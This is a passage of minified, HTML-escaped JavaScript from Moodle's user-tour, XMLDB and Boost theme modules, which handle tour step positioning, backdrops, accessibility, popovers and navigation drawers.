zIndex=this.calculateZIndex(targetNode);zIndex&amp;&amp;(stepConfig.zIndex=zIndex+1),stepConfig.zIndex&amp;&amp;currentStepNode.css(&quot;zIndex&quot;,stepConfig.zIndex+1),this.positionBackdrop(stepConfig),(0,_jquery.default)(document.body).append(currentStepNode),this.currentStepNode=currentStepNode,this.currentStepNode.css({top:0,left:0}),animationTarget.animate({scrollTop:this.calculateScrollTop(stepConfig)}).promise().then(function(){this.positionStep(stepConfig),this.revealStep(stepConfig)}.bind(this)).catch((function(){}))}else stepConfig.orphan&amp;&amp;(stepConfig.isOrphan=!0,stepConfig.attachTo=(0,_jquery.default)(&quot;body&quot;).first(),stepConfig.attachPoint=&quot;append&quot;,this.positionBackdrop(stepConfig),currentStepNode.addClass(&quot;orphan&quot;),(0,_jquery.default)(document.body).append(currentStepNode),this.currentStepNode=currentStepNode,this.currentStepNode.css(&quot;position&quot;,&quot;fixed&quot;),this.currentStepPopper=new _popper.default((0,_jquery.default)(&quot;body&quot;),this.currentStepNode[0],{removeOnDestroy:!0,placement:stepConfig.placement+&quot;-start&quot;,arrowElement:&#039;[data-role=&quot;arrow&quot;]&#039;,modifiers:{hide:{enabled:!1},applyStyle:{onLoad:null,enabled:!1}},onCreate:()=&gt;{const images=this.currentStepNode.find(&quot;img&quot;);images.length&amp;&amp;images.on(&quot;load&quot;,(()=&gt;{this.calculateStepPositionInPage(currentStepNode)})),this.calculateStepPositionInPage(currentStepNode)}}),this.revealStep(stepConfig));return this}revealStep(stepConfig){return this.currentStepNode.fadeIn(&quot;&quot;,_jquery.default.proxy((function(){this.announceStep(stepConfig),this.currentStepNode.focus(),window.setTimeout(_jquery.default.proxy((function(){this.currentStepNode&amp;&amp;this.currentStepNode.focus()}),this),100)}),this)),this}announceStep(stepConfig){let stepId=&quot;tour-step-&quot;+this.tourName+&quot;-&quot;+stepConfig.stepNumber;this.currentStepNode.attr(&quot;id&quot;,stepId);let bodyRegion=this.currentStepNode.find(&#039;[data-placeholder=&quot;body&quot;]&#039;).first();bodyRegion.attr(&quot;id&quot;,stepId+&quot;-body&quot;),bodyRegion.attr(&quot;role&quot;,&quot;document&quot;);let headerRegion=this.currentStepNode.find(&#039;[data-placeholder=&quot;title&quot;]&#039;).first();headerRegion.attr(&quot;id&quot;,stepId+&quot;-title&quot;),headerRegion.attr(&quot;aria-labelledby&quot;,stepId+&quot;-body&quot;),this.currentStepNode.attr(&quot;role&quot;,&quot;dialog&quot;),this.currentStepNode.attr(&quot;tabindex&quot;,0),this.currentStepNode.attr(&quot;aria-labelledby&quot;,stepId+&quot;-title&quot;),this.currentStepNode.attr(&quot;aria-describedby&quot;,stepId+&quot;-body&quot;);let target=this.getStepTarget(stepConfig);return target&amp;&amp;(target.attr(&quot;tabindex&quot;)||target.attr(&quot;tabindex&quot;,0),target.data(&quot;original-describedby&quot;,target.attr(&quot;aria-describedby&quot;)).attr(&quot;aria-describedby&quot;,stepId+&quot;-body&quot;)),this.accessibilityShow(stepConfig),this}handleKeyDown(e){let tabbableSelector=&quot;a[href], link[href], [draggable=true], [contenteditable=true], &quot;;switch(tabbableSelector+=&quot;:input:enabled, [tabindex], button:enabled&quot;,e.keyCode){case 27:this.endTour();break;case 9:(function(){if(!this.currentStepConfig.hasBackdrop)return;let currentIndex,nextIndex,nextNode,focusRelevant,activeElement=(0,_jquery.default)(document.activeElement),stepTarget=this.getStepTarget(this.currentStepConfig),tabbableNodes=(0,_jquery.default)(tabbableSelector),dialogContainer=(0,_jquery.default)(&#039;span[data-flexitour=&quot;container&quot;]&#039;);if(stepTarget&amp;&amp;(tabbableNodes=tabbableNodes.filter((function(index,element){return null!==stepTarget&amp;&amp;(stepTarget.has(element).length||dialogContainer.has(element).length||stepTarget.is(element)||dialogContainer.is(element))}))),tabbableNodes.each((function(index,element){return!activeElement.is(element)||(currentIndex=index,!1)})),null!=currentIndex){let direction=1;e.shiftKey&amp;&amp;(direction=-1),nextIndex=currentIndex;do{nextIndex+=direction,nextNode=(0,_jquery.default)(tabbableNodes[nextIndex])}while(nextNode.length&amp;&amp;nextNode.is(&quot;:disabled&quot;)||nextNode.is(&quot;:hidden&quot;));nextNode.length?(focusRelevant=nextNode.closest(stepTarget).length,focusRelevant=focusRelevant||nextNode.closest(this.currentStepNode).length):focusRelevant=!1}focusRelevant?nextNode.focus():e.shiftKey?this.currentStepNode.find(tabbableSelector).last().focus():this.currentStepConfig.isOrphan?this.currentStepNode.focus():stepTarget.focus(),e.preventDefault()}).call(this)}}startTour(startAt){if(this.storage&amp;&amp;void 0===startAt){let storageStartValue=this.storage.getItem(this.storageKey);if(storageStartValue){let storageStartAt=parseInt(storageStartValue,10);storageStartAt&lt;=this.steps.length&amp;&amp;(startAt=storageStartAt)}}void 0===startAt&amp;&amp;(startAt=this.getCurrentStepNumber());return this.dispatchEvent(_events.eventTypes.tourStart,{startAt:startAt},!0).defaultPrevented||(this.gotoStep(startAt),this.tourRunning=!0,this.dispatchEvent(_events.eventTypes.tourStarted,{startAt:startAt})),this}restartTour(){return this.startTour(0)}endTour(){if(this.dispatchEvent(_events.eventTypes.tourEnd,{},!0).defaultPrevented)return this;if(this.currentStepConfig){let previousTarget=this.getStepTarget(this.currentStepConfig);previousTarget&amp;&amp;(previousTarget.attr(&quot;tabindex&quot;)||previousTarget.attr(&quot;tabindex&quot;,&quot;-1&quot;),previousTarget.focus())}return this.hide(!0),this.tourRunning=!1,this.dispatchEvent(_events.eventTypes.tourEnded),this}hide(transition){if(this.dispatchEvent(_events.eventTypes.stepHide,{},!0).defaultPrevented)return this;if(this.currentStepNode&amp;&amp;this.currentStepNode.length&amp;&amp;(this.currentStepNode.hide(),this.currentStepPopper&amp;&amp;this.currentStepPopper.destroy()),this.currentStepConfig){let target=this.getStepTarget(this.currentStepConfig);target&amp;&amp;(target.data(&quot;original-labelledby&quot;)&amp;&amp;target.attr(&quot;aria-labelledby&quot;,target.data(&quot;original-labelledby&quot;)),target.data(&quot;original-describedby&quot;)&amp;&amp;target.attr(&quot;aria-describedby&quot;,target.data(&quot;original-describedby&quot;)),target.data(&quot;original-tabindex&quot;)&amp;&amp;target.attr(&quot;tabindex&quot;,target.data(&quot;tabindex&quot;))),this.currentStepConfig=null}let fadeTime=0;if(transition&amp;&amp;(fadeTime=400),(0,_jquery.default)(&#039;[data-flexitour=&quot;step-background&quot;]&#039;).remove(),(0,_jquery.default)(&#039;[data-flexitour=&quot;step-backdrop&quot;]&#039;).removeAttr(&quot;data-flexitour&quot;),(0,_jquery.default)(&#039;[data-flexitour=&quot;backdrop&quot;]&#039;).fadeOut(fadeTime,(function(){(0,_jquery.default)(this).remove()})),this.currentStepNode&amp;&amp;this.currentStepNode.length){let stepId=this.currentStepNode.attr(&quot;id&quot;);if(stepId){let currentStepElement=&#039;[aria-describedby=&quot;&#039;+stepId+&#039;-body&quot;]&#039;;(0,_jquery.default)(currentStepElement).removeAttr(&quot;tabindex&quot;),(0,_jquery.default)(currentStepElement).removeAttr(&quot;aria-describedby&quot;)}}return this.resetStepListeners(),this.accessibilityHide(),this.dispatchEvent(_events.eventTypes.stepHidden),this.currentStepNode=null,this.currentStepPopper=null,this}show(){let startAt=this.getCurrentStepNumber();return this.gotoStep(startAt)}getStepContainer(){return(0,_jquery.default)(this.currentStepNode)}calculateScrollTop(stepConfig){let viewportHeight=(0,_jquery.default)(window).height(),targetNode=this.getStepTarget(stepConfig),scrollParent=(0,_jquery.default)(window);targetNode.parents(&#039;[data-usertour=&quot;scroller&quot;]&#039;).length&amp;&amp;(scrollParent=targetNode.parents(&#039;[data-usertour=&quot;scroller&quot;]&#039;));let scrollTop=scrollParent.scrollTop();return scrollTop=&quot;top&quot;===stepConfig.placement?targetNode.offset().top-viewportHeight/2:&quot;bottom&quot;===stepConfig.placement?targetNode.offset().top+targetNode.height()+scrollTop-viewportHeight/2:targetNode.height()&lt;=.8*viewportHeight?targetNode.offset().top-(viewportHeight-targetNode.height())/2:targetNode.offset().top-.2*viewportHeight,scrollTop=Math.max(0,scrollTop),scrollTop=Math.min((0,_jquery.default)(document).height()-viewportHeight,scrollTop),Math.ceil(scrollTop)}calculateStepPositionInPage(currentStepNode){let top=50;const viewportHeight=(0,_jquery.default)(window).height(),stepHeight=currentStepNode.height(),viewportWidth=(0,_jquery.default)(window).width(),stepWidth=currentStepNode.width();if(viewportHeight&gt;=stepHeight+100)top=Math.ceil((viewportHeight-stepHeight)/2);else{var _currentStepNode$find,_currentStepNode$find2;const maxHeight=viewportHeight-100-(null!==(_currentStepNode$find=currentStepNode.find(&quot;.modal-header&quot;).first().outerHeight())&amp;&amp;void 0!==_currentStepNode$find?_currentStepNode$find:0)-(null!==(_currentStepNode$find2=currentStepNode.find(&quot;.modal-footer&quot;).first().outerHeight())&amp;&amp;void 0!==_currentStepNode$find2?_currentStepNode$find2:0);currentStepNode.find(&#039;[data-placeholder=&quot;body&quot;]&#039;).first().css({&quot;max-height&quot;:maxHeight+&quot;px&quot;,overflow:&quot;auto&quot;})}currentStepNode.offset({top:top,left:Math.ceil((viewportWidth-stepWidth)/2)})}positionStep(stepConfig){let flipBehavior,content=this.currentStepNode;if(!content||!content.length)return this;switch(stepConfig.placement=this.recalculatePlacement(stepConfig),stepConfig.placement){case&quot;left&quot;:flipBehavior=[&quot;left&quot;,&quot;right&quot;,&quot;top&quot;,&quot;bottom&quot;];break;case&quot;right&quot;:flipBehavior=[&quot;right&quot;,&quot;left&quot;,&quot;top&quot;,&quot;bottom&quot;];break;case&quot;top&quot;:flipBehavior=[&quot;top&quot;,&quot;bottom&quot;,&quot;right&quot;,&quot;left&quot;];break;case&quot;bottom&quot;:flipBehavior=[&quot;bottom&quot;,&quot;top&quot;,&quot;right&quot;,&quot;left&quot;];break;default:flipBehavior=&quot;flip&quot;}let target=this.getStepTarget(stepConfig);var config={placement:stepConfig.placement+&quot;-start&quot;,removeOnDestroy:!0,modifiers:{flip:{behaviour:flipBehavior},arrow:{element:&#039;[data-role=&quot;arrow&quot;]&#039;}},onCreate:function(data){recalculateArrowPosition(data)},onUpdate:function(data){recalculateArrowPosition(data)}};let recalculateArrowPosition=function(data){let placement=data.placement.split(&quot;-&quot;)[0];const isVertical=-1!==[&quot;left&quot;,&quot;right&quot;].indexOf(placement),arrowElement=data.instance.popper.querySelector(&#039;[data-role=&quot;arrow&quot;]&#039;),stepElement=(0,_jquery.default)(data.instance.popper.querySelector(&#039;[data-role=&quot;flexitour-step&quot;]&#039;));if(isVertical){let arrowHeight=parseFloat(window.getComputedStyle(arrowElement).height),arrowOffset=parseFloat(window.getComputedStyle(arrowElement).top),popperHeight=parseFloat(window.getComputedStyle(data.instance.popper).height),popperOffset=parseFloat(window.getComputedStyle(data.instance.popper).top),popperBorderWidth=parseFloat(stepElement.css(&quot;borderTopWidth&quot;)),popperBorderRadiusWidth=2*parseFloat(stepElement.css(&quot;borderTopLeftRadius&quot;)),arrowPos=arrowOffset+arrowHeight/2,maxPos=popperHeight+popperOffset-popperBorderWidth-popperBorderRadiusWidth,minPos=popperOffset+popperBorderWidth+popperBorderRadiusWidth;if(arrowPos&gt;=maxPos||arrowPos&lt;=minPos){let newArrowPos=0;newArrowPos=arrowPos&gt;popperHeight/2?maxPos-arrowHeight:minPos+arrowHeight,(0,_jquery.default)(arrowElement).css(&quot;top&quot;,newArrowPos)}}else{let arrowWidth=parseFloat(window.getComputedStyle(arrowElement).width),arrowOffset=parseFloat(window.getComputedStyle(arrowElement).left),popperWidth=parseFloat(window.getComputedStyle(data.instance.popper).width),popperOffset=parseFloat(window.getComputedStyle(data.instance.popper).left),popperBorderWidth=parseFloat(stepElement.css(&quot;borderTopWidth&quot;)),popperBorderRadiusWidth=2*parseFloat(stepElement.css(&quot;borderTopLeftRadius&quot;)),arrowPos=arrowOffset+arrowWidth/2,maxPos=popperWidth+popperOffset-popperBorderWidth-popperBorderRadiusWidth,minPos=popperOffset+popperBorderWidth+popperBorderRadiusWidth;if(arrowPos&gt;=maxPos||arrowPos&lt;=minPos){let newArrowPos=0;newArrowPos=arrowPos&gt;popperWidth/2?maxPos-arrowWidth:minPos+arrowWidth,(0,_jquery.default)(arrowElement).css(&quot;left&quot;,newArrowPos)}}},background=(0,_jquery.default)(&#039;[data-flexitour=&quot;step-background&quot;]&#039;);return background.length&amp;&amp;(target=background),this.currentStepPopper=new _popper.default(target,content[0],config),this}recalculatePlacement(stepConfig){let target=this.getStepTarget(stepConfig),widthContent=this.currentStepNode.width()+16,targetOffsetLeft=target.offset().left-10,targetOffsetRight=target.offset().left+target.width()+10,placement=stepConfig.placement;return-1!==[&quot;left&quot;,&quot;right&quot;].indexOf(placement)&amp;&amp;targetOffsetLeft&lt;widthContent+10&amp;&amp;targetOffsetRight+widthContent+10&gt;document.documentElement.clientWidth&amp;&amp;(placement=&quot;top&quot;),placement}positionBackdrop(stepConfig){if(stepConfig.backdrop){this.currentStepConfig.hasBackdrop=!0;let backdrop=(0,_jquery.default)(&#039;&lt;div data-flexitour=&quot;backdrop&quot;&gt;&lt;/div&gt;&#039;);if(stepConfig.zIndex?&quot;append&quot;===stepConfig.attachPoint?stepConfig.attachTo.append(backdrop):backdrop.insertAfter(stepConfig.attachTo):(0,_jquery.default)(&quot;body&quot;).append(backdrop),this.isStepActuallyVisible(stepConfig)){let background=(0,_jquery.default)(&#039;[data-flexitour=&quot;step-background&quot;]&#039;);background.length||(background=(0,_jquery.default)(&#039;&lt;div data-flexitour=&quot;step-background&quot;&gt;&lt;/div&gt;&#039;));let targetNode=this.getStepTarget(stepConfig),buffer=10,colorNode=targetNode;buffer&amp;&amp;(colorNode=(0,_jquery.default)(&quot;body&quot;));let drawertop=0;if(targetNode.parents(&#039;[data-usertour=&quot;scroller&quot;]&#039;).length){const scrollerElement=targetNode.parents(&#039;[data-usertour=&quot;scroller&quot;]&#039;),navigationBuffer=scrollerElement.offset().top;scrollerElement.scrollTop()&gt;=navigationBuffer&amp;&amp;(drawertop=scrollerElement.scrollTop()-navigationBuffer,background.css({position:&quot;fixed&quot;}))}background.css({width:targetNode.outerWidth()+buffer+buffer,height:targetNode.outerHeight()+buffer+buffer,left:targetNode.offset().left-buffer,top:targetNode.offset().top+drawertop-buffer,backgroundColor:this.calculateInherittedBackgroundColor(colorNode)}),targetNode.offset().left&lt;buffer&amp;&amp;background.css({width:targetNode.outerWidth()+targetNode.offset().left+buffer,left:targetNode.offset().left}),targetNode.offset().top+drawertop&lt;buffer&amp;&amp;background.css({height:targetNode.outerHeight()+targetNode.offset().top+buffer,top:targetNode.offset().top});let targetRadius=targetNode.css(&quot;borderRadius&quot;);targetRadius&amp;&amp;targetRadius!==(0,_jquery.default)(&quot;body&quot;).css(&quot;borderRadius&quot;)&amp;&amp;background.css(&quot;borderRadius&quot;,targetRadius);let targetPosition=this.calculatePosition(targetNode);&quot;fixed&quot;===targetPosition?background.css(&quot;top&quot;,0):&quot;absolute&quot;===targetPosition&amp;&amp;background.css(&quot;position&quot;,&quot;fixed&quot;);let fader=background.clone();if(fader.css({backgroundColor:backdrop.css(&quot;backgroundColor&quot;),opacity:backdrop.css(&quot;opacity&quot;)}),fader.attr(&quot;data-flexitour&quot;,&quot;step-background-fader&quot;),targetNode.parents(&#039;[data-region=&quot;fixed-drawer&quot;]&#039;).length){let targetClone=targetNode.clone();background.append(targetClone)}stepConfig.zIndex?&quot;append&quot;===stepConfig.attachPoint?stepConfig.attachTo.append(background):(fader.insertAfter(stepConfig.attachTo),background.insertAfter(stepConfig.attachTo)):((0,_jquery.default)(&quot;body&quot;).append(fader),(0,_jquery.default)(&quot;body&quot;).append(background)),targetNode.attr(&quot;data-flexitour&quot;,&quot;step-backdrop&quot;),stepConfig.zIndex&amp;&amp;(backdrop.css(&quot;zIndex&quot;,stepConfig.zIndex),background.css(&quot;zIndex&quot;,stepConfig.zIndex+1),targetNode.css(&quot;zIndex&quot;,stepConfig.zIndex+2)),fader.fadeOut(&quot;2000&quot;,(function(){(0,_jquery.default)(this).remove()}))}}return this}calculateZIndex(elem){for(elem=(0,_jquery.default)(elem);elem.length&amp;&amp;elem[0]!==document;){let position=elem.css(&quot;position&quot;);if(&quot;absolute&quot;===position||&quot;relative&quot;===position||&quot;fixed&quot;===position){let value=parseInt(elem.css(&quot;zIndex&quot;),10);if(!isNaN(value)&amp;&amp;0!==value)return value}elem=elem.parent()}return 0}calculateInherittedBackgroundColor(elem){let fakeNode=(0,_jquery.default)(&quot;&lt;div&gt;&quot;).hide();(0,_jquery.default)(&quot;body&quot;).append(fakeNode);let fakeElemColor=fakeNode.css(&quot;backgroundColor&quot;);for(fakeNode.remove(),elem=(0,_jquery.default)(elem);elem.length&amp;&amp;elem[0]!==document;){let color=elem.css(&quot;backgroundColor&quot;);if(color!==fakeElemColor)return color;elem=elem.parent()}return null}calculatePosition(elem){for(elem=(0,_jquery.default)(elem);elem.length&amp;&amp;elem[0]!==document;){let position=elem.css(&quot;position&quot;);if(&quot;static&quot;!==position)return position;elem=elem.parent()}return null}accessibilityShow(){let hideFunction=function(child){let flexitourRole=child.data(&quot;flexitour&quot;);if(flexitourRole)switch(flexitourRole){case&quot;container&quot;:case&quot;target&quot;:return}child.attr(&quot;aria-hidden&quot;)||(child.attr(&quot;data-has-hidden&quot;,!0),Aria.hide(child))};this.currentStepNode.siblings().each((function(index,node){hideFunction((0,_jquery.default)(node))})),this.currentStepNode.parentsUntil(&quot;body&quot;).siblings().each((function(index,node){hideFunction((0,_jquery.default)(node))}))}accessibilityHide(){(0,_jquery.default)(&quot;[data-has-hidden]&quot;).each((function(index,node){var child;void 0!==(child=(0,_jquery.default)(node)).attr(&quot;data-has-hidden&quot;)&amp;&amp;(child.removeAttr(&quot;data-has-hidden&quot;),Aria.unhide(child))}))}};return _exports.default=_default,_exports.default}));
define(&quot;tool_usertours/managetours&quot;,[&quot;exports&quot;,&quot;core/prefetch&quot;,&quot;core/str&quot;,&quot;core/notification&quot;],(function(_exports,_prefetch,_str,_notification){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.setup=void 0;const removeTourHandler=e=&gt;{const deleteButton=e.target.closest(&#039;[data-action=&quot;delete&quot;]&#039;);deleteButton&amp;&amp;(e.preventDefault(),removeTourFromLink(deleteButton.href))},removeTourFromLink=targetUrl=&gt;{(0,_notification.confirm)((0,_str.get_string)(&quot;confirmtourremovaltitle&quot;,&quot;tool_usertours&quot;),(0,_str.get_string)(&quot;confirmtourremovalquestion&quot;,&quot;tool_usertours&quot;),(0,_str.get_string)(&quot;yes&quot;,&quot;core&quot;),(0,_str.get_string)(&quot;no&quot;,&quot;core&quot;),(()=&gt;{window.location=targetUrl}))};_exports.setup=()=&gt;{(0,_prefetch.prefetchStrings)(&quot;tool_usertours&quot;,[&quot;confirmtourremovaltitle&quot;,&quot;confirmtourremovalquestion&quot;]),(0,_prefetch.prefetchStrings)(&quot;core&quot;,[&quot;yes&quot;,&quot;no&quot;]),document.querySelector(&quot;body&quot;).addEventListener(&quot;click&quot;,removeTourHandler)}}));
define(&quot;tool_xmldb/move&quot;,[&quot;jquery&quot;,&quot;core/sortable_list&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;],(function($,SortableList,Ajax,Notification){return{init:function(tableid,moveaction){var origIndex;new SortableList(&quot;#&quot;+tableid+&quot; tbody&quot;).getElementName=function(element){return $.Deferred().resolve(element.attr(&quot;data-name&quot;))},$(&quot;#&quot;+tableid+&quot; tbody tr&quot;).on(SortableList.EVENTS.DRAGSTART,(function(_,info){origIndex=info.sourceList.children().index(info.element),setTimeout((function(){$(&quot;.sortable-list-is-dragged&quot;).width(info.element.width())}),501)})).on(SortableList.EVENTS.DROP,(function(_,info){var newIndex=info.targetList.children().index(info.element),t=info.element.find(&quot;[data-action=&quot;+moveaction+&quot;]&quot;);if(info.positionChanged&amp;&amp;t.length){var request={methodname:&quot;tool_xmldb_invoke_move_action&quot;,args:{action:moveaction,dir:t.attr(&quot;data-dir&quot;),table:t.attr(&quot;data-table&quot;),field:t.attr(&quot;data-field&quot;),key:t.attr(&quot;data-key&quot;),index:t.attr(&quot;data-index&quot;),position:newIndex-origIndex}};Ajax.call([request])[0].fail(Notification.exception)}}))}}}));
define(&quot;theme_boost/popover&quot;,[&quot;exports&quot;,&quot;./bootstrap/popover&quot;],(function(_exports,_popover){var obj;Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),Object.defineProperty(_exports,&quot;Popover&quot;,{enumerable:!0,get:function(){return _popover.default}}),_popover=(obj=_popover)&amp;&amp;obj.__esModule?obj:{default:obj}}));
define(&quot;theme_boost/footer-popover&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;./popover&quot;],(function(_exports,_jquery,_popover){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Shows the footer content in a popover.
   *
   * @module     theme_boost/footer-popover
   * @copyright  2021 Bas Brands
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),Object.defineProperty(_exports,&quot;Popover&quot;,{enumerable:!0,get:function(){return _popover.default}}),_exports.init=void 0,_jquery=_interopRequireDefault(_jquery),_popover=_interopRequireDefault(_popover);const SELECTORS_FOOTERCONTAINER=&#039;[data-region=&quot;footer-container-popover&quot;]&#039;,SELECTORS_FOOTERCONTENT=&#039;[data-region=&quot;footer-content-popover&quot;]&#039;,SELECTORS_FOOTERBUTTON=&#039;[data-action=&quot;footer-popover&quot;]&#039;;let footerIsShown=!1;_exports.init=()=&gt;{const container=document.querySelector(SELECTORS_FOOTERCONTAINER),footerButton=document.querySelector(SELECTORS_FOOTERBUTTON);(0,_jquery.default)(footerButton).popover({content:getFooterContent,container:container,html:!0,placement:&quot;top&quot;,customClass:&quot;footer&quot;,trigger:&quot;click&quot;}),document.addEventListener(&quot;click&quot;,(e=&gt;{footerIsShown&amp;&amp;!e.target.closest(SELECTORS_FOOTERCONTAINER)&amp;&amp;(0,_jquery.default)(footerButton).popover(&quot;hide&quot;)}),!0),document.addEventListener(&quot;keydown&quot;,(e=&gt;{footerIsShown&amp;&amp;&quot;Escape&quot;===e.key&amp;&amp;((0,_jquery.default)(footerButton).popover(&quot;hide&quot;),footerButton.focus())})),document.addEventListener(&quot;focus&quot;,(e=&gt;{footerIsShown&amp;&amp;!e.target.closest(SELECTORS_FOOTERCONTAINER)&amp;&amp;(0,_jquery.default)(footerButton).popover(&quot;hide&quot;)}),!0),(0,_jquery.default)(footerButton).on(&quot;show.bs.popover&quot;,(()=&gt;{footerIsShown=!0})),(0,_jquery.default)(footerButton).on(&quot;hide.bs.popover&quot;,(()=&gt;{footerIsShown=!1}))};const getFooterContent=()=&gt;document.querySelector(SELECTORS_FOOTERCONTENT).innerHTML}));
define(&quot;theme_boost/toast&quot;,[&quot;exports&quot;,&quot;./bootstrap/toast&quot;],(function(_exports,_toast){var obj;Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),Object.defineProperty(_exports,&quot;Toast&quot;,{enumerable:!0,get:function(){return _toast.default}}),_toast=(obj=_toast)&amp;&amp;obj.__esModule?obj:{default:obj}}));
/**
 * Contain the logic for a drawer.
 *
 * @module theme_boost/drawer
 * @copyright  2016 Damyon Wiese
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;theme_boost/drawer&quot;,[&quot;jquery&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/log&quot;,&quot;core/pubsub&quot;,&quot;core/aria&quot;],(function($,CustomEvents,Log,PubSub,Aria){var SELECTORS_TOGGLE_REGION=&#039;[data-region=&quot;drawer-toggle&quot;]&#039;,SELECTORS_TOGGLE_ACTION=&#039;[data-action=&quot;toggle-drawer&quot;]&#039;,SELECTORS_BODY=&quot;body&quot;,SELECTORS_SECTION=&#039;.list-group-item[href*=&quot;#section-&quot;]&#039;,SELECTORS_DRAWER=&quot;#nav-drawer&quot;,small=$(document).width()&lt;768,Drawer=function(){$(SELECTORS_TOGGLE_REGION).length||Log.debug(&quot;Page is missing a drawer region&quot;),$(SELECTORS_TOGGLE_ACTION).length||Log.debug(&quot;Page is missing a drawer toggle link&quot;),$(SELECTORS_TOGGLE_REGION).each(function(index,ele){var trigger=$(ele).find(SELECTORS_TOGGLE_ACTION),drawerid=trigger.attr(&quot;aria-controls&quot;),drawer=$(document.getElementById(drawerid)),hidden=&quot;false&quot;==trigger.attr(&quot;aria-expanded&quot;),side=trigger.attr(&quot;data-side&quot;),body=$(SELECTORS_BODY),preference=trigger.attr(&quot;data-preference&quot;);small&amp;&amp;M.util.set_user_preference(preference,&quot;false&quot;),drawer.on(&quot;mousewheel DOMMouseScroll&quot;,this.preventPageScroll),hidden?trigger.attr(&quot;aria-expanded&quot;,&quot;false&quot;):(body.addClass(&quot;drawer-open-&quot;+side),trigger.attr(&quot;aria-expanded&quot;,&quot;true&quot;))}.bind(this)),this.registerEventListeners(),small&amp;&amp;this.closeAll()};return Drawer.prototype.closeAll=function(){$(SELECTORS_TOGGLE_REGION).each((function(index,ele){var trigger=$(ele).find(SELECTORS_TOGGLE_ACTION),side=trigger.attr(&quot;data-side&quot;),body=$(SELECTORS_BODY),drawerid=trigger.attr(&quot;aria-controls&quot;),drawer=$(document.getElementById(drawerid)),preference=trigger.attr(&quot;data-preference&quot;);trigger.attr(&quot;aria-expanded&quot;,&quot;false&quot;),body.removeClass(&quot;drawer-open-&quot;+side),Aria.hide(drawer.get()),drawer.addClass(&quot;closed&quot;),small||M.util.set_user_preference(preference,&quot;false&quot;)}))},Drawer.prototype.toggleDrawer=function(e){var trigger=$(e.target).closest(&quot;[data-action=toggle-drawer]&quot;),drawerid=trigger.attr(&quot;aria-controls&quot;),drawer=$(document.getElementById(drawerid)),body=$(SELECTORS_BODY),side=trigger.attr(&quot;data-side&quot;),preference=trigger.attr(&quot;data-preference&quot;);small&amp;&amp;M.util.set_user_preference(preference,&quot;false&quot;),body.addClass(&quot;drawer-ease&quot;);var open=&quot;true&quot;==trigger.attr(&quot;aria-expanded&quot;);open?(body.removeClass(&quot;drawer-open-&quot;+side),trigger.attr(&quot;aria-expanded&quot;,&quot;false&quot;),drawer.addClass(&quot;closed&quot;).delay(500).queue((function(){$(this).hasClass(&quot;closed&quot;)&amp;&amp;Aria.hide(this),$(this).dequeue()})),small||M.util.set_user_preference(preference,&quot;false&quot;)):(trigger.attr(&quot;aria-expanded&quot;,&quot;true&quot;),Aria.unhide(drawer.get()),drawer.focus(),body.addClass(&quot;drawer-open-&quot;+side),drawer.removeClass(&quot;closed&quot;),small||M.util.set_user_preference(preference,&quot;true&quot;)),PubSub.publish(&quot;nav-drawer-toggle-start&quot;,open)},Drawer.prototype.preventPageScroll=function(e){var delta=e.wheelDelta||e.originalEvent&amp;&amp;e.originalEvent.wheelDelta||-e.originalEvent.detail,bottomOverflow=this.scrollTop+$(this).outerHeight()-this.scrollHeight&gt;=0,topOverflow=this.scrollTop&lt;=0;(delta&lt;0&amp;&amp;bottomOverflow||delta&gt;0&amp;&amp;topOverflow)&amp;&amp;e.preventDefault()},Drawer.prototype.registerEventListeners=function(){$(SELECTORS_TOGGLE_ACTION).each(function(index,element){CustomEvents.define($(element),[CustomEvents.events.activate]),$(element).on(CustomEvents.events.activate,function(e,data){this.toggleDrawer(data.originalEvent),data.originalEvent.preventDefault()}.bind(this))}.bind(this)),$(SELECTORS_SECTION).click(function(){small&amp;&amp;this.closeAll()}.bind(this)),$(SELECTORS_DRAWER).on(&quot;webkitTransitionEnd msTransitionEnd transitionend&quot;,(function(e){var open=!!$(e.target).closest(SELECTORS_DRAWER).attr(&quot;aria-hidden&quot;);PubSub.publish(&quot;nav-drawer-toggle-end&quot;,open)}))},{init:function(){return new Drawer}}}));
define(&quot;theme_boost/drawers&quot;,[&quot;exports&quot;,&quot;core/modal_backdrop&quot;,&quot;core/templates&quot;,&quot;core/aria&quot;,&quot;core/event_dispatcher&quot;,&quot;core/utils&quot;,&quot;core/pending&quot;,&quot;jquery&quot;],(function(_exports,_modal_backdrop,_templates,Aria,_event_dispatcher,_utils,_pending,_jquery){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}function _defineProperty(obj,key,value){return key in obj?Object.defineProperty(obj,key,{value:value,enumerable:!0,configurable:!0,writable:!0}):obj[key]=value,obj}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_modal_backdrop=_interopRequireDefault(_modal_backdrop),_templates=_interopRequireDefault(_templates),Aria=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}(Aria),_pending=_interopRequireDefault(_pending),_jquery=_interopRequireDefault(_jquery);let 